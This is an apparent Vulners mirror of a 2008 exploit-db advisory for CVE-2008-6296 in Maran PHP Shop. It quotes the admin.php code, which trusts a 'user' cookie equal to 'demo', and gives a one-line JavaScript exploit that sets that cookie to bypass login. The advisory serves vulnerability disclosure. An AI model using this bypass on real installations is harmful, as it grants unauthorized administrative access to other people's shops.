Lucene search
+L

Maran PHP Shop - 'admin.php' Insecure Cookie Handling

🗓️ 02 Nov 2008 00:00:00Reported by JosSType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

Maran PHP Shop admin.php Insecure Cookie Handlin

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-6296
2 Nov 200800:00
circl
cve
CVE
CVE-2008-6296
26 Feb 200916:00
cve
cvelist
Cvelist
CVE-2008-6296
26 Feb 200916:00
cvelist
euvd
EUVD
EUVD-2008-6266
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-6296
26 Feb 200916:17
nvd
prion
Prion
Authentication flaw
26 Feb 200916:17
prion
# Maran PHP Shop (admin.php) Insecure Cookie Handling Vulnerability
# url: http://www.maran.pamil-visions.com/maranshop.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: /admin.php
vuln code:
<?
$readcookie = $_COOKIE['user'];
if($readcookie!="demo"){echo "error 467. bad login! <a href='login.php'>login here</a>";exit;}
//echo $_COOKIE['user'];
?>

exploit:
javascript:document.cookie = "user=demo; path=/";

Hack0wn :D

# milw0rm.com [2008-11-02]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation